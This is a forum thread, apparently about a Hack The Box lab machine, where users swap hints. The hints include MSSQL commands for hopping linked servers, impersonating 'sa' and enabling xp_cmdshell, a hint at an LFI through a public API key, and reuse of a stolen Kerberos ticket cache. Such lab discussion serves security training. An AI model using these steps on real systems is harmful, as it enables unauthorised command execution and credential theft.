[shadow0exe13]

gg everyone was a really good boxe to play all

[MhmmdSr5]

For some reason I  am getting this when trying to execute the command, any thoughts ..?
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
[-] ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.

[Aner]

For some reason I  am getting this when trying to execute the command, any thoughts ..?
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
[-] ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.

Because the htb admin Tightened MSSQL Permissions

Look machine's changelog tab

[kewlcat002]

If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login

[Aner]

If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login

You mast do sql injection command from web app linked https://core.ghost.htb:8443/

I solved it in this way

[Gmimo4545]

Anything interesting in http://ghost.htb:8008/ghost/api/content/posts ?

if you get the access to the gitea dev repo you will find that these end point led to LFI vuln just use that public API key and pass commands using an extra parameter in the url

[lillypadfrog]

If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login

You mast do sql injection command from web app linked https://core.ghost.htb:8443/

I solved it in this way

I see. Are you supposed to execute xp_cmdshell in "https://core.ghost.htb:8443/"?

[tmpuserbreach]

Hey guys. After the patch, there is no password for florence.ramirez in docker-entrypoint.sh file. Anyone know how to goon?

[HackerBeuf]

Hey guys. After the patch, there is no password for florence.ramirez in docker-entrypoint.sh  file. Anyone know how to goon?

You are apparently not supposed to use it anymore but just ssh straight into the linux-dev machine

command: ssh florence.ramirez@ghost.htb@dev-workstation

in here there is a krb5cc_50 in the tmp folder. You need to extract this back to the first linux machine and then back to your attacker machine to use it like so:
export KRB5CCNAME=krb5cc_50

[yshmfhl]

After searching for a long time, I finally found this place. It's great.